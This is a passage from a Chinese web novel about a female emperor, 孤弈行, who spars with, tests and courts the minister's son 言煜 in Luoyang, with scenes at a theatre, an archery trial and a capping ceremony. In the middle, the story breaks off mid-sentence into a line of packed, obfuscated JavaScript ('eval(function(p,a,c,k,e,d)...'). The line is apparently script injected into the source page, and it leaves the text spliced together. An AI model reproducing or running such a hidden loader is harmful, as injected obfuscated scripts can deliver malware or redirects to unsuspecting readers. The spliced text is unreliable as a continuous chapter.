总而言之,孤弈行倒是很想会会这个传说中的言大少爷,看看此人是否人如其名。 “臣言钟正拜见陛下!” 正说着言煜,言钟正就来了,孤弈行也是起了兴致,眉眼藏笑:“爱卿平身!爱卿是为了言公子之事而来?” “正是!不管如此,犬子亦是冲撞了陛下,还请陛下不要和他一般见识!”言钟正面色严肃,鞠躬拜礼。 “无妨!”孤弈行似乎觉得衣服太过笨重,撩起衣袖,双手撑着膝盖,“不过朕倒是对言公子很是欣赏,不知何时尚可一见?” 此言一出,言钟正的眼中流露出一个作为父亲特有的警觉。其言语缓和,字里行间却浸润着一种推脱的艺术: “犬子的那些小聪明,在陛下面前不值一提。五日后便是犬子及冠,陛下若能大驾光临,必能使言府上下蓬荜生辉。” 君不入臣府的说法自古有之,言钟正正是瞧中了这一点,料想孤弈行必定会往里跳呢。 孤弈行实则早就想到了这点,然而她岂是守规矩之人?想拿这招钳制她,言钟正算是失策了。 “既然如此,朕必会准时前往言府观礼。”孤弈行笑容张扬,气韵尽显。 此话一出,言钟正的脸简直黑了一度,但是面上还是得恭恭敬敬地答应下来。这一切都被孤弈行看在眼里,她全程憋笑,憋得甚是辛苦。 不过孤弈行却想不明白提起言煜,为何会激起言钟正如此大的戒备和敌意。想来她又不是头猛虎野兽,难道还能把他儿子给吃了不成吗? 孤弈行摇摇头,也懒得去细想。 一旁的孟启看到自家主子这脸皮厚的模样久了,倒也见怪不怪了,只道:“陛下真的要去?” 孤弈行颔首,一双桃花眼中流露出似有若无的笑意:“自然要去,不过朕也没说会在这五日内老老实实地呆着!” 孟启似是突然意识到什么滔天大计,压低了音量:“陛下……要……” “言钟正必然想不到这一招,朕今晚就去会会他!” 看着孤弈行眉飞色舞那模样,孟启在心中默叹一口气。 身为孤弈行身旁得力助手的他,几乎在第一时刻猜出了这句话背后的含义,这自然也是孤弈行的拿手好戏:翻!墙!头! 夜色正浓,整座洛阳城卸下了平日的繁华,归于一片静谧。 孤弈行身着夜行衣,身姿轻盈如燕,于屋檐上快速行走。 银制的面具将半张明艳的面容遮盖,然而桃花眼若隐若现,流露出的是一如既往的张扬。 孤弈行于一座古朴的宅院处放缓了脚步。她隐隐看见院中人影微动,一记轻功攀上一棵高耸入云,与屋檐齐平的大树。 孤弈行倚在粗大的树枝上,翘起了二郎腿。 庭中男子着深蓝色长袍,身形修长,长发散落,竟有种从骨子里流露出的风流韵味。长剑舞动,刚劲中不失柔韧,孤傲中又不失气魄。 孤弈行看得津津有味,就差一时忍不住拍手叫好了。 虽然之前孤弈行并未见过言煜,但似乎此时心中已经认定了此人的身份。不过如此看来,身体孱弱,不过是给众人看的伪装罢了。 孤弈行正看得起劲,却听见树旁屋檐上的瓦片细细作响。 “谁!”言煜自然也听到了从屋檐处传来的动静,眼神忽而凌厉。 他停下了舞剑的动作,向屋檐处看去。这样一看,正好看到了倚在树上的孤弈行。 “啊!” 屋檐处传来一声小女孩的叫喊声和瓦片微微脱落的声音,孤弈行根本来不及多想,直接翻身去接,把她拎了上来。 等到站定了,孤弈行才开始仔细端详面前这个娇滴滴的小姑娘。 这小姑娘大概十一二岁的模样,身着桃色长裙,显得娇俏可人。 小姑娘的脸颊上尚未褪去婴儿肥,倒更显几分可爱,只是那咕噜噜直转的大眼睛,似乎在暗示她的鬼心眼。 “你在上面做什么?”言煜显然被刚才的意外吓到,余气未消。 那小姑娘挠挠头,挤出一个憨厚可爱的笑容:“哥……我……上来……看你练剑!就和这位姐姐一样!” ???孤弈行正琢磨着这小姑娘的身份,想来言府只有一个大小姐,面前这位小姑娘必然就是言家小姐言云芮了。 因为如此,孤弈行几乎没有反应过来,这怎么兄妹之间扯着扯着还能扯到自己身上? 看来这言云芮真的学得一身找替罪羔羊的好本事,况且这替罪羔羊还是救命恩人好吧!果然是个鬼精的。 言煜果然往孤弈行所在的地方看了一眼,不过却没被言云芮带偏,只觉好气又好笑,道:“又溜出去玩了?” 言云芮又笑,随即转过身望向孤弈行,笑容明媚:“多谢姐姐救命之恩!” 随即又凑近孤弈行的耳畔,声音细细软软的:“姐姐,你是不是喜欢我哥啊?” 孤弈行开口就想回绝,但是想想又不 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言煜打量着面前的蒙面女子,神色格外平静,一双矜贵的凤眼的深处,难以窥探出一丝波澜。 在孤弈行眼中,面前男子确实如传闻中一般容颜如玉,嘴角微微勾起便能流露出独有的风流。 然而不知为何,孤弈行总觉得这副极致的皮囊之下,或许藏着令人难以琢磨的心思,难以预料的危险。 然而孤弈行岂是那种知难而退的人?越是如此,她便对此人越是好奇。 孤弈行笑意张扬:“未曾。” 她顿了一下,似是想到什么,压低了音量:“言公子的秘密,在下必会守口如瓶。” 言煜浅笑,眼尾微微上挑,语气略显无奈:“在下还有第二种选择吗?不过,还要多谢女侠刚刚救了小妹一命。” “不必了。”孤弈行笑道,随即嘴角微微上扬,以极快的速度从腰间抽出一把软剑,向言煜刺去。 言煜似乎并不意外,他侧身灵活地躲过孤弈行的袭击,手持长剑接过对方的剑招,呈防守之态。 孤弈行是有备而来,为了不被认出真实身份,她不仅没有携带自己的佩剑仗天,甚至连剑招都没有按套路出牌。 相反,她将自己的独门剑术孤云平天的招式逆转使出。对此,她也是第一次尝试,因而天下之人除了面前的言煜,断无人见识过此剑招。如此一来,倒更有了些许剑走偏锋的味道。 “女侠如此而来,便是不怕在下喊人了。” 言煜不紧不慢地应对凌厉的招式,连孤弈行都没想到他还有心思在这个时候和她聊天。 “朕……正是!”孤弈行几乎脱口而出,然而她很快反应过来,咳嗽了一声,理直气壮道。 “言公子同样胆识过人,彼此彼此而已!”孤弈行很快找回了状态,心不惊肉不跳地回答。 虽说只是试探,孤弈行并未使出全力,但仅仅这十几招下来,孤弈行便能肯定面前这位在外伪装得身体孱弱的风流才子在武艺方面也算得上精通,或许孟启也不是他的对手。 披着羊皮的狼!孤弈行忍不住在心里嘟囔,但明知危险,就凭这副绝好的皮囊,估计也没有女子能忍住不多看两眼。 孤弈行并没有想继续不休止地纠缠下去,于是找到机会便很快脱身,她再次飞上屋檐,笑容更是嚣张:“言公子,后会有期!” 黑影迅速地消失在浓重的夜色之中。言煜孤身一人立在原地,望向黑影消失的方向,微微抿唇。 “煜儿,你看你,又练得这么晚,如今天气转凉了,可要多添点衣物,不然身子怎么吃得消?” 一个中年女子从阁中走出,将一件厚重的玄色大氅披在言煜的肩上。那女子眉似柳叶,一言一语尽显温柔,气韵仿佛浑然天成。 “母亲,我无碍。”言煜仿佛透过沈宣清微微皱眉的举动猜到了她的心事,有意地笑得肆意。 “你呀!从来不让我操心!”沈宣清被逗笑了,但侧身望向夜幕中言煜略显单薄的背影,心中依然隐隐作痛。 言煜明白,母亲向来是个极为豁达开明的人,几乎没有什么能让她烦恼纠结,除了那件事。 5. 花楼遇知己 那一年,言煜四岁。他隐约记得那是一个漫长的冬天,气温很低,漫漫白雪成了天地间唯一的颜色。 家中收到了祖母去世的噩耗,然而言钟正因为朝廷之事不能离开洛阳,而言煜当时又太小,不适合长途奔波,因此沈宣清只好孤身一人前往家乡处理丧事,把当时只有四岁的言煜托给了家中的一个姓李的老媪照顾。 老媪是沈宣清的娘家人,因此沈宣清颇为信任,这才把言煜暂时交给她照料。事实上,老媪也确实至始至终尽心尽力,但还是没想到那件事的发生。 当时言钟正忙着手中的差事,很少归家,更别提照顾言煜了。因而言煜在府中见得最多的人,除了老媪,便是孙姨娘了。 孙姨娘原是一介流民,在走投无路时被言钟正救下,起先虽无情分,但言钟正还是为了防止她被人欺负,给了她一个姨娘的位份。 孙姨娘长得漂亮,又善解人意,日子久了,和言钟正倒也能聊得来。 但孙姨娘并没有就此满足,她很明白在这个偌大的尚书府,子嗣才是一个女人唯一的依靠。而当时言云芮尚未出生,尚书府中唯一的子嗣便是言煜。 毫无疑问,在孙姨娘看来,只要有言煜在,便是当之无愧的嫡长子,而她即使幸有所出,也不过庶子,次子耳耳。显然,她的野心不至于此。 于是,沈宣清一走,言钟正又顾不上家,孙姨娘眼中绝佳的机会便来了。 孙姨娘很聪明,她知道若言煜一夕之间横死,她必然脱不了干系,于是她安排人在言煜的饮食中放了一种慢性毒药——落寒散。 这种毒药无色无味,放入饮食中很难察觉,偶尔少量服用自是无碍,但若服用超过两个月,便会血液凝固,四肢僵硬而死。 孙姨娘的阴谋被撞破的时候,距离言煜第一次服散已经过去了一月半。 在那一段时间里,无论是白天,还是夜晚,言煜总是四肢冰凉,眉间凝霜。几乎整个洛阳城都有所耳闻,尚书府少爷大病了一场,差点没有活下来。 在此期间,沈宣清好像变了一个人,整日郁郁寡欢,以泪洗面。而言钟正也特此上书,恳请陛下准许他告假一段时日。 这样的日子,言煜不知道自己坚持了多久,知道有一日来了一个老道士,那老道士有着一手好医术,竟让言煜挺了过来。 但也因为毒性过于凶猛,言煜自此之后便落下了病根,身体孱弱,每到秋冬时节,仍能感到刺骨的寒冷,导致整夜难眠。 正因为体弱畏寒,为了增强体质,言煜自小学习武艺,如今倒也练出了一番不俗的成绩。不过这其中的艰辛,只有言煜自己清楚。 那时候的言府里,即使寒冬飘雪,总有一个少年裹着厚重的白色披风在一片冰天雪地里不知疲倦地练剑。 一点发烧几乎算不了什么,因为这是三天两头就会发生的事情,不过是有了好转便继续练,如此而已。 而言煜的心思大概也与那件事有着密不可分的联系。他曾经不愿以最大的恶意揣测任何人,现实却教会他人心险恶的道理。既如此,不如看穿,看透。 “母亲,天气冷,煜儿送你回去。”言煜浅笑着扶过沈宣清的手臂。 “好。”沈宣清望着言煜,突然想到什么,开了口,“煜儿,五日后你便要及冠了,你的婚事也可以考虑考虑了。跟娘说说,有没有什么心仪的姑娘?” 一双矜贵的凤眼中略含笑意,流露出一种与生俱来的风流,言煜道:“孩儿尚未考虑。” 沈宣清本来就开明豁达,听到言煜如此说,便也没打算问下去,只是笑:“你向来有主意,想来也不需要我和你父亲操心。” 不知为何,那个蒙面女子的影子竟在言煜脑海中挥之不去。 言煜微微皱眉,神色略显凝重,心想:她到底是什么人?能如此毫无顾忌地闯入相府,必然不是寻常人能做到的。 言煜突然萌生出一个大胆的想法,将那位鲜衣怒马的人物与今日的蒙面女子联系到了一起,两者张扬肆意的特点似乎恰巧极为相似。言煜把弄着手中的青玉扳指,若有所思。 另一旁,孤弈行并未在离开相府后立刻回宫,而是换了一身行头,在洛阳最繁华的大街小巷逛了一通,最后大摇大摆地进入了当地有名的散花楼。 孤弈行一进入散花楼,便有不少女子拥上来,被孤弈行拒绝之后似乎还恋恋不舍。 原来孤弈行身着玄色长袍,玄袍领口绣有银纹,长发高束,饰以发冠,再加上脸上不施粉黛与其浑然天成的气韵,更显出潇洒的公子气质来。 孤弈行虽未来过散花楼,却也听闻这散花楼的戏曲是这京都一绝,便也想过来见识见识。她在二楼找了个靠窗的位置,坐了下来。 很快,一男一女化着精致的妆容出现在戏台上,女子铿锵有力的嗓音从戏台传来:“要说那,巾帼不让须眉,自古有之。” 两人手持兵器,孤弈行就看见他们吭吭康康打了一阵,只觉热闹,拍手叫好。 “然而,多情总被无情伤,英雄难过情关!” 要说这句话,孤弈行可就第一个不同意了!按照孤弈行的性格,要是遇到无情人,自然要更无情,把脸甩回去才是,老娘才不和你多纠缠! 孤弈行正气愤,却瞥见隔壁桌的一人。那人同样是一身标准的男装,只不过眉眼却略显细柔,孤弈行瞧着倒格外眼熟。 旭风营骑都尉琴潇!孤弈行总算反应过来。不过她为何出现在这散花楼,倒令她很是好奇。 “琴公子也来这散花楼听戏么?” 琴潇正听得入迷,一时间没反应过来,只觉此人声音有些熟悉,转身一看才发觉竟是孤弈行。 “参见……” 琴潇几乎是下意识的反应,眼看就要行礼,孤弈行上前拉住琴潇,桃花眼含笑:“在下姓顾,出门在外,唤我公子便好。” “公子说得是。”琴潇连忙点头,在看到孤弈行使的眼色后入座。 “公子不应该在府中吗?琴潇听闻……”琴潇望了一眼翘着二郎腿,磕着花生,毫无心事的孤弈行,欲言又止。 “听闻什么?”孤弈行漫不经心地问,随即一盏琼浆又下了肚。 “公子不知道?”琴潇看见孤弈行毫不知情的模样,甚是惊讶,于是走到孤弈行耳畔,低语道,“那些大臣将自己的儿子,侄子都找借口送入了府中,怕是要给公子……” 琴潇不再说下去了。 孤弈行眉头微微上挑,冷笑:“在你看来,那些人如何?要是有看得中的和我说,送你了!” “琴潇不敢。” 琴潇连忙否认,但还是觉得有句话不吐不快。 今日一见孤弈行,给琴潇的印象又与那位运筹帷幄的少年帝王不同,显得更亲近随和,潇洒恣意,因此琴潇开了口。 “公子莫怪,琴潇倒觉得,这京都的公子少爷虽养得白嫩,却手不能提,肩不能扛,比我们大祁的女人还娇弱几分,其学问亦多是空有其表,要不得!” 刚刚孤弈行还担心琴潇在自己面前拘束,一听到这话就仿佛遇到了知己一般。 她笑意张扬,差点没忍住拍案而起:“琴公子真是说出了顾某的心声啊!妙哉!妙哉!” 孤弈行此话一出,琴潇仅剩的一点拘束也荡然无存,两个人很快聊得火热。 “那公子打算如何推脱?”聊了一番之后,琴潇从心底里敬佩和崇拜面前的孤弈行,也真心地替她的处境发问。 “推脱?”孤弈行的语调微微上扬,仿佛听到了什么可笑的事情,她用指节有节奏地敲击着桌角,道:“无需推脱,顾某就算给他们机会,他们也只能知难而退。” 琴潇认定孤弈行心中已有打算,便不再多问。 孤弈行不经意间瞥见琴潇腰间的一块墨玉流云玉佩,嵌以银丝,其玉质温润细腻,色泽漆黑如墨,看上去便是不可多得的好物。 孤弈行似是想到什么,道:“琴公子这块玉佩看着不错,不知从何处所得,可否替顾某再寻一块?” “那是自然,琴潇家中还有一块,这块便赠予公子了!” 琴潇虽蛰伏京城数年,演了不少做小伏低温柔女子的戏码,但骨子里豪气不减。她几乎没有犹豫,就将那块墨玉流云玉佩从腰间取下,塞到孤弈行手中。 “多谢!”孤弈行嘴角微微上扬,拍了拍琴潇的肩膀,笑容肆意。 “前几日顾某已经安排人去接琴母入城,这几日也该到了。这些年辛苦你了,之后提拔你做我的贴身侍卫,俸禄翻倍。”说完孤弈行又喝了一口酒,继续磕起了花生。 “多谢公子!”琴潇难掩激动的心情,道。 次日,御书房。 孤弈行正改完多得令她头脑发昏的奏章,伸了个懒腰,正懒洋洋地半躺在龙椅上,却瞧见孟启急匆匆地赶来,步伐略显仓促。 “金库里的东西都清点好了?如何?”孤弈行的语气略显漫不经心,然而心中却很是有数。 要说她在此之前好歹当了两年的祁国女王,虽然对于账本啥的看到还是头疼的紧,但却比谁都明白查账的重要性。更何况,还是前朝的账。 通过刚才孟启眉头微皱的神态,孤弈行就可以大致推断出其中一定查出了些什么。不过在孤弈行看来,要是账本干干净净,那倒是更令她生疑。 孟启道:“共清点宝物一亿三千件,珍珠一千零五十颗,金条十六公斤……” 数目实在太大,孟启分了好几口气才将其读完,读完时已是微喘。 孤弈行几乎都按捺不住微微上扬的嘴角,露出一抹讽刺的笑意:“倒还挺会享受!” “说说少了什么?”孤弈行眉头上挑,指节有节奏地轻敲着金漆扶手。 孟启的眼色闪过一丝诧异,似是没有想到孤弈行会这么问,道:“金库里的一百块墨玉全部不知所踪。” 几乎一时间,孤弈行的脑海中便浮现出那块在散花楼时系在琴潇腰间的墨玉流云玉佩。 她走到桌边,打开了一个银漆的楠木盒,那块墨玉玉佩正安静地躺在其中。 与此同时,站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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啧啧啧!听听着声音,是没吃饭吗?孤弈行心想:我一个人都喊得比你们响多了!这声音听多了怕是能折寿! 偏生孤弈行面上还得端着,道了句“平身”。于是那帮大老爷们拱着手站好了。 此时孤弈行心中只有一个想法,那就是——速战速决! “朕今日一时兴起,不知哪位公子陪朕练练箭啊?” 孤弈行一袭红衣,笑容明艳,眼神勾人,竟惹得几个不知天高地厚的公子哥自愿地贴了上去。 “洛阳男儿果然有胆识!”孤弈行笑意张扬,一双桃花眼却令人难以琢磨其中情绪。 孤弈行转过身,接过琴潇呈上的强弓,对其使了眼色。琴潇颔首,走到那四个公子哥面前,道:“劳烦几位公子站定。” 那几个公子面面相觑,看着架势心中顿生不妙,但也只能站定。其中一个世家公子从小没见过着阵仗,还没等孤弈行出手便已是吓得面色惨白,不忍直视。 琴潇将四只青梨稳稳地放在四人头顶的那一刻,其他三人也逐渐面如土色,只因这青梨只有半个拳头的大小,而只要差之分毫,他们的小命就不保了。 其他人围在一旁看热闹,心中却都暗存侥幸。 孤弈行从盛放长箭的木箱中轻轻一勾,便四箭在手。此时风声四起,红色的披风于空中飘荡,孤弈行合上双目,于原地站立。 此时四人虽不知孤弈行之后的动作,却皆已心乱如麻,不敢有一丝一毫的动弹,任凭突如其来的狂风使得衣衫与长发在空中乱舞。 几乎在一瞬间,孤弈行睁开双目,将强弓赋予强力,拉至满月,箭在弦上,四箭!齐发! 其动作之快,使得众人几乎没有反应过来,只看见四颗青梨落在地上,四支长箭全部正中靶心! 过了好一会,众人才从刚才的惊吓中缓过神来,连连叫好,只那四人仍然心有余悸,惊魂未定,四肢麻木,提不起一丝力气。 孤弈行撩起衣袍,高坐主位之上,动作慵懒,似乎根本不把刚才的一幕当做一回要紧事。 孤弈行微微抿唇:“若你们想在这宫里谋一份差事,其实也容易。只是朕的皇宫不收无用的废材,朕所求之人,必定文武双全。” 此言一出,一些人的脸色已经很是精彩,垂头丧气的不再少数。但也有小部分人仍然昂首挺胸,似乎觉得自己尚有机会。 “这文嘛,三甲之内。”说到,孤弈行的嘴角微微上扬,从心里给他们鞠了一把同情泪,“至于武,朕给你们机会,只要你们能在孟启手下过三十招即可。” 此言一出,一些世家公子仅存的一点希望也随之破灭。要说这三甲,他们其中也不乏高中的名门子弟,但要论起武来,顶多是些花拳绣腿,如何能与在战场上真刀实枪厮杀的孟启相提并论? 孤弈行心满意足地欣赏完这一出好戏,潇洒地转身而去,只留下一句:“朕相信你们都是个中翘楚,这点要求自然难不倒你们。” 6. 交锋 四日后。 这一日的言府相比往日的古朴庄重多了不少喜庆欢快的氛围,前来观礼之人更是络绎不绝。 不仅因为言钟正的德高望重和言煜的颇有才情之名,更因为当今圣上对言府的器重,来来往往的人几乎多得能够压破不算狭窄的门楣。一时间,言府公子及冠的消息几乎在整个街头巷尾传了个遍。 “言大人,恭喜恭喜啊!虎父无犬子,老朽听闻言公子才华卓越,日后定会青出于蓝。” 左相黄和海衣着古朴,拱手作礼,举止之间流露出浓浓的书卷气,然而恭敬的态度与神色更是力破朝堂之上关于二人不和的谣言。 “那就借您吉言!里面请。”言钟正看上去今日心情不错,难得不像往日板着脸,笑得开怀,亦拱手回礼,道。 孤弈行骑于马上,远远便望见这两人的交谈,听着便甚是和谐舒心。 她今日未着龙袍,而是一身水波纹紫金袍,走路时衣袍的金边恍若能泛起粼粼波光,潇洒中不失贵气。 孤弈行翻身下马,动作没有一丝拖泥带水,惹得不少行人频频回头,想要一探风华。她恣意一笑,背着手大步而去,琴潇亦身着便服,跟在孤弈行身后。 “言相,恭喜了。” 言钟正听声音就识出了孤弈行,他反应极快,行以臣礼:“老臣参见陛下。” “臣参见陛下!” “草民参见陛下!” 可怜那有几个没见过世面的行人,一看到这副阵仗,整个人两股战战,啪嗒一下就跪了下去,还免不了几分瑟瑟发抖。 孤弈行上前将言钟正扶起,朱唇微启,笑道:“诸位请起。今日无需多礼,朕只是言府之客,只管与民同乐。” “是,陛下请。” 言钟正本想领着孤弈行进入府中,却被孤弈行一手拦住了:“今日言相要招待宾客,事务繁多,朕就不打扰了,自己逛逛就是。” 此言一出,言钟正自知无力反驳,便应了。 孤弈行挥了挥衣袖,就漫无目的地绕着整个言府转了一圈,竟惊奇地发现言钟正虽高居右相之位,府邸却不大,装饰亦以古朴简约为主,可见其为官清廉,就连孤弈行也心叹佩服。 孤弈行本想着先将礼物送出,再试探一番,却不知那人如今身在何处,心情似乎有些失落。 但当她看到一群小孩围在大厅时,她爱凑热闹的本性似乎被激发了出来,顿时将刚才那心中仅有的一点失落全然抛之脑后,直接挤了进去。 等站定之后孤弈行才发现,那些小孩正围着一个白瓷双耳壶站着,玩着一些她似乎有点眼熟,实际上却没见过,没玩过的玩意儿。 眼看着几个半大孩童手持并不算长的箭,毫不费力地投进了一段距离之外的双耳壶时,孤弈行不得不承认,相比大祁的传统武艺之骑马射箭,这些洛阳人也活得太精致优雅了。 她搓了搓手,已经蠢蠢欲动。终于,她忍不住了:“小朋友们,能不能让我玩一局啊?” 孤弈行和小孩混亲近似乎很有一套,她的笑容相比往日的张扬,温柔了不少,再加上长得出色,导致那些小孩对她的印象极好。 “漂亮姐姐。”一个长得秀气的小男孩眨巴着水灵灵的大眼睛,很快就心甘情愿地把手中的短箭交出去了。 “乖,小嘴真甜。”孤弈行被人夸了一通,还得了短箭,嘴角忍不住微微上扬,伸出手小心地捏了捏那肥嘟嘟的小脸,不可谓不快活。 孤弈行夹起那支短箭,才发现这箭似乎是专门为小孩设计的一般,颇小了些,但她很快就恢复了高傲的姿态,心想:不就是投壶么?老子射箭能够百步穿杨,这算个…… 孤弈行正想着,一下子被眼前的状况弄懵了。她眼看着那轻飘飘的短箭一番腾云驾雾,直接飘了出去!! 不可能啊!不可能!孤弈行咳嗽了一声,略显尴尬,但她毕竟是在死人堆里滚过几圈的人物,飞快地调整了心态,又尝试了一次。 ……结果和上次并无不同。 孤弈行虽然还架着面子,但内心已经是慌得不行:“琴潇……你会吗?” “属下这就来。”琴潇是个心思细的,很快就明白了孤弈行的窘境,连忙接道。 孤弈行没有转身,在原地望着那看上去可恶的白瓷双耳壶站了一会儿,见琴潇还未到,语气略有些不耐烦:“怎么这么慢?” 此话刚出,便有一只手握住了孤弈行的手腕。孤弈行能够感受到那只手十分有力,并且指节分明,但指间却泛出丝丝凉意。 那只手改变了孤弈行赋予短箭的受力,几乎在一瞬间,那支短箭飞速地捕捉到了目标,穿过了那支白瓷双耳壶的右侧壶耳。 “贯耳!”那一群围观的小孩几乎同时拍手叫道。 孤弈行心里得意,本想着停下,毕竟自己下一次有没有如此好的发挥尚未可知,谁知道那只手又蛮不讲理地夹起一支短箭,朝着那壶射去。 孤弈行摒着气,眼瞧着那支短箭直直地射入那双耳壶的左侧壶耳。 “连中贯耳!”那一群小孩又拍手叫道。 孤弈行这下松了一口气,笑容张扬且得意:“琴潇,没想到你投壶竟这般好!” “箭的长短不同,受力便要有所差别。” 孤弈行却听到自己耳畔传来一阵略显低沉,却十分好听的男声,整个人一激灵。她猛地回头,望见一双极为矜贵的凤眼。 孤弈行竟不知何时,言煜悄无声息地绕到了自己身后。 言煜着冷蓝色流云长袍,身披玄色大氅,仿佛从骨子里流露出一种风流与贵气,令人过目不忘。 “朕竟不知言公子投壶也这般好?”孤弈行突然眼前一亮,一边肆意地笑着一边走出孩子群,道。 言煜浅笑,然而笑容之中却多了几分深长的意味:“陛下未曾与言煜有过一面之缘,何来''也''字之说?” 好啊!好啊!原来是在套话呢!真是大意了! 孤弈行差点愣住,但很快就面不改色地胡编乱造一通:“朕之前虽未与言公子有过一面之缘,却也听说过不少关于言公子风流才子的佳名。” “之前只听闻言公子才华出众,却没想到玩这些东西也这般好,感慨可不就由此而出吗?” 孤弈行一边说着,一边心中暗笑一声:跟我玩,你还嫩了点! “原来如此。”言煜眼尾微微上扬,笑道。 孤弈行从袖中掏出一个银漆的楠木盒,将那盒子缓缓打开,递到言煜手中:“今日言公子及冠,这是朕的一点心意。” “多谢陛下,陛下有心了。” 言煜的眼神在那块墨玉流云玉佩上停留了片刻,只见其玉质温润细腻,色泽又漆黑如墨,显然是不可多得的上品。无声之间,他虽面色如常,却已陷入了思考。 孤弈行突然回忆起那指尖冰凉的触感,道:“言公子今日可是身体不适?” 言煜抬眸,淡然一笑:“陈年旧疾罢了,劳烦陛下忧心。” “宫中绣娘近日赶制了不少貂裘大氅,改日朕派琴潇送几件到言府可好?” 出手阔绰是孤弈行一向的习性,即使时常被言钟正和黄和海这两个老家伙指指点点,却还是改不了如此脾性。 孤弈行嘴角微微上扬,笑容张扬明艳,仿佛因为今日未被繁文缛节禁锢,显得更加肆意潇洒。 言煜自知无法推脱,便应下。 孤弈行看到一个茶亭,便大步而去,那昂首挺胸的模样仿佛自己才是这座府邸的主人,在其中来去自如,无所拘束。 她径直坐下,沏了一杯茶,一饮而尽,下意识地翘起了二郎腿。 “言煜未曾去过祁地,十分向往,想请教陛下祁地的风土人情当是如何?” 就连孤弈行也不得不承认,这个言煜是真的会聊天,一说起祁地,她就像打开了话匣子,言语滔滔不绝。 不仅如此,她刚才对洛阳人的精致生活略有羡慕的情感顿时扫荡一空,随之而来是莫名的优越感,因为至少在祁地这一点上,她可比他言煜懂得多得多! “祁地有大漠孤烟,山川落日……那里民风淳朴,没有你们洛阳这么多的规矩,所有人都活得很自在。”孤弈行又喝了一壶茶,却似乎还没说够 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孤弈行凑到他的耳畔,丝毫不去压抑嘴角上扬的弧度,一双桃花眼流露出别样的风流,语气中夹杂着试探:“不知朕的礼物,言公子可还中意?” 言煜掩盖住眼底的情绪,眼神不再起一丝波澜,但若是细听言语,还是能发现一丝破绽:“很是……欢喜。” 孤弈行抬眸,还想说什么,却听见背后传来一阵熟悉的女声,只不过声音相比以往的干脆,多了几分犹豫。 “陛下……”琴潇看着两人这略显暧昧的姿势,大气都不敢喘一口,耳根仿佛一时被火点着。 孤弈行拍拍衣袖,简直不能更自然地起了身,神色云淡风轻,仿佛刚才什么事都没有发生一样。 “言公子,良辰已至,不如一同前往?” 一旁的琴潇简直被自家主子这招反客为主看呆了。 “言某正有此意。”言煜颔首,道。 孤弈行几乎与言煜并肩而行,却未看见此刻言煜略显沉重的神色。他的一双凤眼在深沉的凝视下显得更为矜贵,却仿佛凝着一层薄雾,令人看不清他心中所想。 在众目睽睽之下,二人一前一后,却似乎并肩着走入了大厅。众人远远望去,竟宛若一对璧人,惹得不少妙龄少女和京城儿郎魂不守舍。 孤弈行早就知道那些人见到自己又要拜了,便索性直接挥手免去了这些繁文缛节,一屁股坐上了主位,接下来就准备轻轻松松地充当一个看客。 这所有的一切包括三冠之礼都进行得十分顺利,孤弈行也难得定得下心来,看得津津有味。直到加冠之后,众宾竟有些面面相觑了。 原来按照洛阳的传统习俗,加冠之后应由尊长为冠者取字,然而这尊长二字一为尊,二为长。 要说长,那便简单,自然应该由言钟正来取字,但要说尊,在座的哪一个敢比九五至尊更尊贵?正因如此,这事不同于以往,才有些难办。 正在此时,言钟正先开了口:“请陛下赐字。” 孤弈行正看得投入,没想到一下子扯到了自己,她笑容肆意:“朕擅长骑射,然赐字却非朕所擅长,不愿因此耽误言公子的一生,故而由言相代为效劳吧!” “是!”言钟正也没有推辞,随即拿起狼毫笔,沾上刚研好的墨汁,在纸上大笔一挥,刚劲有力的“焕卿”二字便立于纸上。 要说这字在孤弈行看来是绝对的上上品,粗犷中不失秀丽,秀丽中又不减风骨,恍然间浑然天成的潇洒与恰到好处的力量感交织在一起。 而孤弈行仅初见此二字便觉得其与言煜此人高度相配,要说知子莫若父,果然不假。 “若身逢坦途,不骄不躁,若身陷囹圄,潇洒自若。” 言钟正依然是一如既往地一本正经,但孤弈行却看到了言语之下的欣慰,更是一个老父亲对自己子女的告诫与期盼。 孤弈行并非第一次参加冠礼,很快发现了言钟正的寄语与旁人的极大不同。孤弈行从前听的最多的便是身负重任,光耀门楣这类词语,只有言钟正对言煜的期望是立于世,成一人。 “焕卿谨记父亲教诲。” 7. 天神礼 子夜,西郊小树林。夜幕将整座树林笼罩得略显沉闷,偶尔传来猫头鹰掠过树梢的沙沙声。 一男子身着夜行衣,环顾四周仿佛在等待着什么。他转过身,还未抬头,便望见玄衣的一角,单手撑地,跪了下去。 “参见阁主。” 话音刚落,那男子心里已经徒增几分敬畏。他一向知道无影阁阁主是个神龙见首不见尾的人物,但他没有想到世上竟真有人能在走路时不发出一点脚步声。 来者一身玄衣,身形修长,步伐极轻,即使立于枯叶上似乎也能落地无声。 一张精巧的面具轻轻地覆在那被唤作阁主的青年男子的面庞上,让人看不分明他的容貌,唯有一双凤眼半隐半露,却不知为何泛出压抑隐晦的光芒。 青年男子从袖子取出一张已经对折的纸条,神色未明:“去查查其中的来历。” “是!” 御书房。 “如何?”孤弈行依旧翘着二郎腿,丝毫不考虑仪态地大口咬着进贡上来的冻梨,似乎已经把一切玩弄于股掌之中。 孟启在一旁站得笔直,道:“回陛下,据手下回报,在燕地发现了这批墨玉的影子,但具体还未查明出处。” 孤弈行挑眉,不语。 “陛下打算如何做?”孟启看到自家主子一副淡定自若的样子,忍不住问道。 谁知孤弈行突然露出邪魅一笑,用手轻轻拭去嘴角残留的汁水,声音慵懒:“朕约了一个人,正好去燕地会会他。” 然而这一举动却使得孟启一时愣了神,他用力地掐了一下自己的手心,使得修理得极其整洁的指甲在手心留下一个不浅的印记,这才缓过神来。 孟启刚要开口说话,却被孤弈行打断了:“你留在京城,朕让琴潇带一队人暗中保护便可。” “是。”孟启的眼眸略显黯淡。 孤弈行此次微服出访,因而这一行极为神秘,仅有三十旭风营中高手守在暗处。除了同行的琴潇和留在京城的孟启以及两相之外并无人知晓,故而并未引起什么风浪。 然而孤弈行的兴致却不错,一出城门就如刚出笼的鸟一般,似乎因为被这一板一眼的京城压得有些倦了,感受到新鲜空气的一瞬间孤弈行的心情顿时舒畅了不少。 她拉着琴潇去周围的裁缝铺换了一身江湖女侠的打扮,这才满意地啧啧嘴,翻身上马。 要说这城郊的裁缝铺,不论是布料还是样式,哪里能与内务府或者皇家织布局相比? 